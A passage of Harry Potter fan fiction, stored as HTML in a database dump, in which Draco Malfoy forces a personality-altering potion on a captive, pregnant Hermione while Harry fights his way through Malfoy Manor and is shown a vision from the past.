silence.&nbsp;\nSnape was sulking, Lupin was fighting errant thorns and Harry was too\nbusy concentrating on his wand as it led them closer to the dark house.&nbsp; Finally, the last branch was blasted out of\nthe way and nothing lay between them and the towering, impenetrable oak and\niron of the manor\'s front entrance.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do we knock?&quot; Lupin asked Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if they were listening, the doors opened out to them\nwithout any prompting or human aid.&nbsp;\nThere was a moment\'s pause as the men got their first glimpse into the\ndense darkness of the Malfoy home.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Apparently not,&quot; Harry replied.&nbsp; His wand still drawn and ready, he took a\nstep inside.&nbsp; &quot;Be prepared for\nanything.&nbsp; He\'s not about to make this\neasy for me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m going to make this easy for you.&quot;&nbsp; With one fluid motion, Draco swung his legs\noff the arm of the large chair in which he had been lounging and stood up.&nbsp; He approached his frozen captive with the\nsame fluidity in his stride.&nbsp; &quot;It\nmust be absolutely killing you to be unable to speak.&nbsp; And while I enjoy that...and the silence...&quot;&nbsp; He waved his hand; Hermione\'s mouth fell\nopen.&nbsp; &quot;We\'re running out of\ntime.&quot;&nbsp; He snapped and her whole body\nexperienced the same freeing sense of release.&nbsp;\n&quot;I can say many things about him, but Potter is not an\nidiot.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He never has been.&quot;&nbsp; Her voice was dry; she moved her limbs experimentally as she\nspoke.&nbsp; &quot;You\'ve always\nunderestimated him, Draco.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Agreement was the last thing she expected, but he nodded his\nhead to indicate it.&nbsp; &quot;Perhaps I\nhave.&nbsp; But no longer.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stared at the back of his blond head.&nbsp; &quot;End this, Draco.&nbsp; It\'s petty and childish\nand...pointless.&nbsp; Harry and I just want\nto live our lives...like normal people.&nbsp;\nThere\'s no cause for any of this!&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;There\'s where you would be wrong, little Mudblood.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I have a name and you know it perfectly well,&quot;\nHermione informed him.&nbsp; &quot;I\'d\nappreciate it if you would use it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco chuckled.&nbsp;\n&quot;Haughty to the end, I see.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She felt the movement in the shadows before she saw it; a\nmoment later, Sirius appeared at Draco\'s side.&nbsp;\nHermione wanted to run to him, slap his cheeks, snap him out of\nit...whatever it was.&nbsp; But to do so\nwould have been foolish.&nbsp; She waited\nwhile the two men discussed something in hushed tones.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What have you done to him?&quot; Hermione asked when\nSirius moved off again.&nbsp; &quot;Tell\nme.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Actually, I had something much more interactive\ninvolved than simply telling you.&quot;&nbsp;\nDraco\'s eyes gleamed.&nbsp;\n&quot;You\'re thinking Imperius, aren\'t you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She wet her lips.&nbsp;\n&quot;It had crossed my mind.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Despite what the older set likes to believe, a seventh\nyear student these days can throw off the Imperius if they have enough\nsense.&nbsp; Such is the result of war on\nchildren,&quot; he sighed, too dramatically to be sincere.&nbsp; &quot;No, I have placed no curse over Sirius\nBlack.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just let him go,&quot; Hermione whispered.&nbsp; &quot;He\'s never done anything to you.&nbsp; For that matter...&quot;&nbsp; She swallowed.&nbsp; &quot;Neither has Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The cold stare Draco turned onto her froze her blood more\nthan his Petrificus.&nbsp; &quot;You have no\nidea.&quot;&nbsp; As soon as it had vanished,\nhis cat-with-a-fat-bowl-of-cream smile appeared again.&nbsp; &quot;You expect him to burst in at any\nmoment, don\'t you?&quot;&nbsp; Her upturned\nchin answered for him.&nbsp; &quot;Oh, he\nwill.&nbsp; Be assured of that.&nbsp; But not until I\'m good and ready.&nbsp; And when he does...let\'s just say I intend\nto have quite a surprise in store for him.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What kind...what kind of surprise?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius brushed past her arm; Hermione blinked and looked at\nhim.&nbsp; He was carrying a flask of\nsomething which he handed to Draco.&nbsp;\n&quot;From one scholar to another...is there anything more satisfying\nthan creating a potion?&nbsp; All the hours\nof work, measuring, stirring, waiting, anticipating, testing.&quot;&nbsp; He held the flask up to the light.&nbsp; &quot;And then the ultimate satisfaction\nwhen it works and your goal is achieved.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'d hardly call you a scholar,&quot; Hermione\ncommented under her breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco dropped his arm and advanced on her.&nbsp; He smelled like incense, a cloying scent\nthat made her eyes water.&nbsp; &quot;And I\'d\nhardly call you worthy enough to judge any real wizard.&quot;&nbsp; His free hand shot out and he grabbed her\njaw, puckering her mouth open.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione struggled, but was quickly subdued by Harry\'s\ngodfather.&nbsp; He held her motionless from\nbehind as Draco used his teeth to uncork his mysterious potion.&nbsp; &quot;Come on.&nbsp; Take your medicine like a good little Mudblood.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She attempted to whip her head from side to side, making it\nas difficult as possible for him.&nbsp;\n&quot;No!&quot; she cried out, the words muffled due to her distorted\nlips.&nbsp; &quot;I can\'t....&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You truly don\'t have a choice.&quot;&nbsp; Draco tilted the flask; the thick liquid\ninside began sliding towards the open end.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched the potion advance towards her mouth, wild\nfear in her eyes.&nbsp; &quot;Please!&nbsp; I can\'t have any...&quot;&nbsp; She stopped.&nbsp; The rock and the hard place.&nbsp;\nCaught between them, unable to tell him why she couldn\'t drink just any\nold potion, she continued to struggle to get away.&nbsp; &quot;Stop!!&nbsp;\nSirius...please!!!&nbsp; Don\'t let him\ndo this!!!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s not Sirius Black anymore,&quot; Draco growled,\nlosing a bit of his cool.&nbsp; &quot;And he\nnever will be again.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What do you mean?&quot;&nbsp; Her tears made her cheeks slippery; he had to fight to keep a\ngrip on her jaw.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'ll know soon enough.&nbsp; But when your own personality is stripped away, you won\'t really\ncare.&nbsp; And Harry, the famous Harry\nPotter, the Boy Who Wouldn\'t Fucking Die....he\'ll find a whole new Hermione\nwhen he arrives.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her eyes grew even wider.&nbsp;\n&quot;Your potion...alters entire personalities?&nbsp; Makes people...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Into who *I* want them to be.&nbsp; It gets inside your gut, shakes everything\nup.&nbsp; A complete makeover from the inside\nout...and I\'m at the drawing board.&nbsp; Now...&quot;&nbsp; Draco released her face, but only long\nenough to backhand her across the mouth.&nbsp;\nFrom the shock of the blow, Hermione\'s struggles ceased.&nbsp; &quot;Open wide.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s too quiet.&quot;&nbsp;\nHarry\'s voice bounced around the vaulted hallway ceilings.&nbsp; &quot;And too easy.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin sighed.&nbsp;\n&quot;Well, now you\'ve gone and ensured that the rest of the way won\'t\nbe.&nbsp; Good show, Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The wood of his wand was slick against his sweaty palm as\nHarry grimaced.&nbsp; &quot;It doesn\'t make\nany sense.&nbsp; He puts up a wall around his\nfortress, but then lays out the welcoming mat?&nbsp;\nJust what is he thinking?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s playing with you,&quot; Snape answered.&nbsp; &quot;Give a little, take a little\nback.&nbsp; Put up a fight, ease up.&nbsp; And it\'s working.&nbsp; You\'re confused and your confusion will keep you off\nguard.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Your vote of confidence is, as always,\noverwhelming.&quot;&nbsp; His eyes closed for\na moment.&nbsp; &quot;I want to be able to\nsense her.&nbsp; But I can\'t.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'ll lead you to where she is.&nbsp; It\'s what he\'s brought you here to...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Will you stop that!?&quot; Harry burst, rounding on\nthe older man.&nbsp; &quot;Talking like you\nteach bloody Divination.&nbsp; If you know so\ndamn much about Malfoy\'s moves, why aren\'t you in the lead here?&quot;&nbsp; He pointed to the beaker of potion secured\nto Snape\'s waist.&nbsp; &quot;Why don\'t you\ntell me what else you know?&nbsp; Useful\ninformation, not premonitory babble.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape dropped his hand down to the beaker.&nbsp; &quot;I hope against hope that what\'s in\nthis jar won\'t have to be used.&nbsp; And\nuntil it\'s absolutely necessary...&quot;&nbsp;\nHe paused, neither for effect nor hesitation.&nbsp; &quot;There are some things you should be thankful you don\'t know\nabout.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Knowing anything at this point would be strategically\nadvantageous,&quot; Harry shot back.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not.&nbsp;\nUntil.&nbsp; It\'s\nnecessary.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin pulled on the sleeve of Harry\'s robes.&nbsp; &quot;It pains me to break up a long overdue\nfight, but I think you should know....we\'re not exactly alone\nanymore.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry whipped his head around.&nbsp; &quot;What is it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All around us.&nbsp;\nLook.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I see...antiques,&quot; Harry replied.&nbsp; &quot;Armor, family portraits, crests.&nbsp; The Malfoys are more Muggle than they\'d like\nto...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin grabbed him, pulling him out of the way as the suit of\narmor closest to Harry suddenly advanced, bringing a heavy silver sword\ncrashing down onto the exact spot where his head would have been.&nbsp; All around them, the typical fixture of a\nhundred English castles were inanimate no longer, waging their own little war\nagainst the three wizards.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Battle plan, Harry?&quot;&nbsp; Lupin\'s back was now pressed to his companions\'.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Reductor!&quot;&nbsp;\nHe blasted away one empty, yet alive suit of armor.&nbsp; &quot;That\'ll work for now.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape followed with a similar spell.&nbsp; &quot;It won\'t work for all of them.&nbsp; There\'s easily forty.&quot;&nbsp; Even as he spoke, in the place of the suit\nhe had deal with, two new ones materialized.&nbsp;\n&quot;Double that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s just another diversion,&quot; Harry called out\nover the sounds of Lupin\'s charm.&nbsp;\n&quot;I have to get to Hermione.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then...go, Harry.&quot;&nbsp; Lupin jerked his head towards the path they had been\nfollowing.&nbsp; &quot;We\'ll deal with this\nand you get to her.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry hesitated, blowing away another three suits while he\nthought this over.&nbsp; &quot;I can\'t just\nleave you two.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, I\'ve seen a lot in my lifetime.&nbsp; An army of armor I can handle.&quot;&nbsp; He smiled at James\' son.&nbsp; &quot;We\'ll join you soon.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know about this...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He wants you alone.&nbsp;\nYou know this,&quot; Lupin\'s tone was grave.&nbsp; &quot;We can take care of ourselves.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Snape nodded and\nraised his wand.&nbsp; &quot;Impedimenta!!&quot;&nbsp; The suits slowed for a moment, caught in\nsuspended animation.&nbsp; It was the few\nseconds Harry needed to escape and he took them without looking back.&nbsp; If he had, he would have seen a wayward\nsword catch Lupin in the shoulder.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He ran, to where he knew not.&nbsp; His only thought was to keep moving, lest another suit of armor\nappeared, or some other obstacle of Malfoy\'s choosing.&nbsp; If Snape was right, Malfoy was leading him\nstraight to Hermione.&nbsp; If his instincts\nwere right, he needed to get there immediately.&nbsp; And if the pain from his scar was any gauge, it would be a battle\nto rival his final encounter with Voldemort.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It tasted like decayed flesh.&nbsp; Rotten meat.&nbsp; It was warm\nand gelatinous.&nbsp; And it was sliding down\nher throat bit by disgusting bit.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gagged, spraying a healthy amount of the potion\nback onto the man forcing it into her. &nbsp;Draco leapt back; she took no small amount of pleasure in watching\nhim recoil.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s no good,&quot; he warned her, brushing off his\nrobe.&nbsp; &quot;I have time at my\nfingertips.&nbsp; Enough of it to force this\nwhole thing down your pretty little throat.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She continued to cough, still held in place by the stony\nSirius Draco claimed to have concocted.&nbsp;\nHer heart pounded beneath her breast.&nbsp;\nJust how much had gotten into her stomach?&nbsp; She had no idea, and no idea what it would really do to her....or\nto her baby.&nbsp; It could be a ruse; it\ncould simply be poison meant to kill.&nbsp;\nWas that the surprise he really had in store for Harry?&nbsp; Her dead body greeting him in front of the\nfireplace?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Black fought me, too,&quot; Draco continued.&nbsp; &quot;It took nearly a whole day to get it\ninto his system.&nbsp; As a dog, he has quite\na set of teeth.&nbsp; But you...&quot;&nbsp; With his thumb, he wiped potion off her lips\nand chin.&nbsp; &quot;...have no defenses\nleft.&nbsp; And until I make it so, no one is\ncoming to your rescue.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry is coming,&quot; Hermione choked out the words\nwith all the conviction left within her.&nbsp;\n&quot;I can...feel him.&nbsp; I know\nhim.&nbsp; And he\'s coming...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco\'s fingers lingered on her skin longer than\nnecessary.&nbsp; &quot;He\'s certainly\ntrying.&nbsp; He beat my garden, left his\nflunkies behind to fight my army.&quot;&nbsp;\nHis lips twisted up into a wicked grin.&nbsp;\n&quot;But there\'s no getting past the past.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Please...&quot;&nbsp;\nHer eyes shut, spilling hot tears over his hand.&nbsp; &quot;Don\'t hurt him.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It won\'t be me hurting him.&quot;&nbsp; Draco lifted the potion bottle and seized\nher chin once more.&nbsp; &quot;I\'ll leave\nthat up to Harry Potter himself.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione fought as much as she could, but the repulsive goo\nwas forced into her mouth despite her struggles, and all thoughts were pushed\nout of her mind.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry rounded a corner, his wand drawn and ready.&nbsp; Nothing was going to catch him off guard,\nconfused or not.&nbsp; Although he would\nadmit to being confused, he would not admit to what he really was and that was\nvery, very lost.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy Manor, he quickly surmised, was not a good place in\nwhich to lose one\'s way.&nbsp; There were a\nhundred corridors and they each looked exactly alike.&nbsp; But there were no more signs of moving armor, so that was at\nleast a mild blessing.&nbsp; In fact, for the\npast ten minutes, Harry hadn\'t seen anything moving, except for his own\nreflection in the occasional mirror.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was beginning to wonder if this was another obstacle in\nitself.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But as he came around that particular corner, Harry\'s entire\nreality suddenly changed.&nbsp; The world\nspun around him, colors and shapes molding into different colors and\nshapes.&nbsp; Before he could blink, he was\nno longer standing in a torch-lit hallway, but a large, airy room done in soft,\nmuted florals.&nbsp; He heard giggling and\nturned, brandishing his wand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A four-poster bed.&nbsp;\nClothes strewn every which way on the carpet around it.&nbsp; Gauze curtains only half-drawn, concealing\nnothing.&nbsp; And between the matching\nfloral sheets, the two people he had loved most in his entire life.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Making love.&nbsp;\nTogether.&nbsp; Ron and Hermione.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And there was nothing he could do to stop it.&nbsp; Because it had all already happened.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 20, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; Still\nnot JK Rowling or anyone really important in the grand scheme of things;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes:&nbsp; My\nlast update for the next few days unless things really come together and won\'t\nstop.&nbsp; I just need a teensy bit of a\nbreak or I\'m afraid I\'ll burn out.&nbsp; Of\ncourse, now that I\'m saying this, the story won\'t stop and I\'ll get back to\nTallahassee and finish the entire story in one night!&nbsp; Well, maybe nothing that drastic.&nbsp; Sorry, it\'s one in the morning.&nbsp;\nI\'m all alone with the dog and the roach I just killed with my\nshoe.&nbsp; No time for deep thoughts or\ncomments.&nbsp; Enjoy the chapter.&nbsp; And thank you so much for your support.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">PS:&nbsp; For everyone who\nwants to kill Malfoy, bravo.&nbsp; Person who\ncan come up with the most creative way for him to die gets a gold star;)&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An Organ of Fire</p>\n\n<p class="MsoNormal">by Kristen Elizabeth</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was tired of fighting and her muscles ached with spent\nadrenaline.&nbsp; His fingernails still dug\ninto the raw flesh of her jaw, but the pain had long since faded.&nbsp; He was too close to her; she could feel the\nmuscles of his legs against hers.&nbsp;\nSandwiched between Draco Malfoy and Sirius Black, Hermione was\ncompletely helpless to their every machination.&nbsp; If she only had her wand...the tables would have been more than\njust turned.&nbsp; But it was still in her\nrobes.&nbsp; Back at Hogwarts.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry,&quot; she whispered, the taste of the latest\nforced mouthful of Draco\'s potion still strong in her mouth.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Call out for him.&quot;&nbsp; Draco laughed.&nbsp; &quot;He\ncan\'t possibly hear you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s shoulders sagged.&nbsp; Despite her every attempt, too much of the concoction was making\nit down her throat, settling into her stomach.&nbsp;\nHow long would it be before it took effect, whatever the true effect\nmight be?&nbsp; Minutes?&nbsp; Hours?&nbsp;\n&quot;How can you hate...so much?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Years and years of practice,&quot; he replied,\nsmoothly.&nbsp; &quot;You have no idea how\nlong I\'ve been waiting for this day.&nbsp;\nWaiting for everything to fall into place...to rid myself of so many\nthorns...so many birds with just one stone.&nbsp;\nIt\'s almost been too much.&nbsp; I\'m\nlike Bronson at Christmas.&nbsp; Don\'t want\nto peak too soon...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was then that she felt the evidence of his arousal\npressing into her hip.&nbsp; The worst thing\nwas that it had nothing to do with stimulation; he was getting off on the pure\nexperience of holding lives in the palm of his hand.&nbsp; Causing pain, raping people without ever touching them sexually.&nbsp; &quot;You disgust me.&quot;&nbsp; Her voice trembled with repulsion.&nbsp; &quot;You always have.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You won\'t feel that way soon,&quot; Draco assured her,\nchecking the amount of potion still in the flask.&nbsp; &quot;Before you know it, you\'ll have a whole new take on the\nworld.&nbsp; And me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione spat in his face, something she had seen in a\nMuggle movie as a child.&nbsp; Just as it had\nshocked the recipient in that case, it caught Draco completely by\nsurprise.&nbsp; He stumbled back, wiping at\nhis eyes.&nbsp; Even Sirius was startled; his\ngrip on her loosened considerably.&nbsp; She\nwasn\'t about to waste the chance, for it might be her only.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With her last reserves of energy, Hermione made a break for\nthe doors she had entered through.&nbsp; She\ncould hear Draco behind her, yelling to Sirius, &quot;Get her!!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She had to keep going, but the door was so far away.&nbsp; It was like running a mile through sand,\neach step seemed to hold her back more than it propelled her forward.&nbsp; Finally though, her fingers touched\nwood.&nbsp; Her smile was one of pure\ntriumph.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pain wiped it off her face.&nbsp;\nFrom deep within her stomach she could feel lava bubbling up.&nbsp; Her hand fell away from the door; she\nclutched at her body just as Sirius grabbed her once again.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s begun,&quot; Draco called out, his voice\nresounding throughout the empty hall.&nbsp;\n&quot;Can you feel it?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tried to reply, but all that came out was a low\nmoan.&nbsp; There had never been pain like\nthis and she had endured childbirth.&nbsp;\nChildbirth.&nbsp; The baby.&nbsp; &quot;Stop it...Draco.&nbsp; Make it stop.&nbsp; You\'ve got to...&quot;&nbsp; A\nsharp sensation, like a fire-forged rod being thrust through her abdomen seized\nher and she cried out.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That might be enough,&quot; Draco said to Sirius,\nignoring her agony.&nbsp; &quot;Anymore would\njust be overkill.&quot;&nbsp; He thought\nabout this for a second, then shrugged his shoulders.&nbsp; &quot;Overkill never hurt anyone.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No...&quot;&nbsp;\nThe only thing keeping her from collapsing to the floor was Sirius\'\narms.&nbsp; But they were so cold, so\ncruel.&nbsp; &quot;No...no more.&nbsp; I can\'t....for the...for the baby.&nbsp; I can\'t.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco stopped, flask in his hands.&nbsp; &quot;The baby?&quot;&nbsp;\nAfter an eternity, his lips contorted into something that resembled a\nsmile.&nbsp; &quot;Is the great Harry Potter\ngoing to be a father?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She barely heard the question, but even if she had she was\nin no position to be able to cover up her slip of the tongue.&nbsp; Quite the opposite, the potion seemed to\nhave the effect of a Truth Serum.&nbsp; At\nthe very least, it stripped away her ability to keep her internal thoughts internal.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s already a...father.&quot;&nbsp; Hermione gulped for breath.&nbsp; Her lungs felt like anchors holding her\nentire respitory system down.&nbsp; What\nlittle light existed in the room hurt her eyes; she squeezed them shut as hard\nas she could.&nbsp; &quot;My babies...please...let\nme go, Draco.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco looked at Sirius.&nbsp;\n&quot;Oh, what an absolutely delicious surprise!&quot;&nbsp; He set the flask down and reached for\nHermione\'s body.&nbsp; She winced as though\npunched when he pressed his hands along her lower abdomen.&nbsp; &quot;Yes...I can already feel it.&nbsp; Very unexpected...&quot;&nbsp; He threw his head back, laughing.&nbsp; &quot;But a perfect opportunity to test a\ntheory of mine.&quot;&nbsp; Draco released\nher, leaving her in Sirius\' arms.&nbsp;\n&quot;Don\'t worry, *Hermione.*&nbsp;\nMy potion will do nothing to harm your little Mudblooded bastard.&nbsp; At least...I don\'t think it will.&nbsp; And the pain will soon pass for you, too.&quot;&nbsp; He returned to his chair, dropping into it\nlike a king into his throne.&nbsp; &quot;But\nfor Potter...I\'m afraid it\'s only just begun.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just because the entire situation pleased him so much, he\nbegan to laugh once again.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For months, he had recognized, managed to accept, and\nultimately laid to rest within the furthest reaches of his brain the knowledge\nthat Ron and Hermione had been married and, thereby, sexually involved.&nbsp; She had told him herself, they had tried\nhard to have a baby together.&nbsp; Having a\nbaby meant...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head vigorously, but the thought wouldn\'t go\naway.&nbsp; Perhaps because it wasn\'t just a\nthought.&nbsp; The reality he had tried to\nforget existed was being acted out before his very eyes.&nbsp; He was in hell, an unwilling witness to his\nbest friend and the woman they had in common.&nbsp;\nAll he could do was turn his back, and refuse to look at them.&nbsp; But what he couldn\'t see...he could still\nhear.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Stop it,&quot; Harry said to no one in\nparticular.&nbsp; To the lovers entwined in\nthe bed, to Malfoy who had to be responsible for this blast from the past that\nhe hadn\'t been present for the first time around.&nbsp; They didn\'t....couldn\'t hear him, and so continued their private\nact.&nbsp; 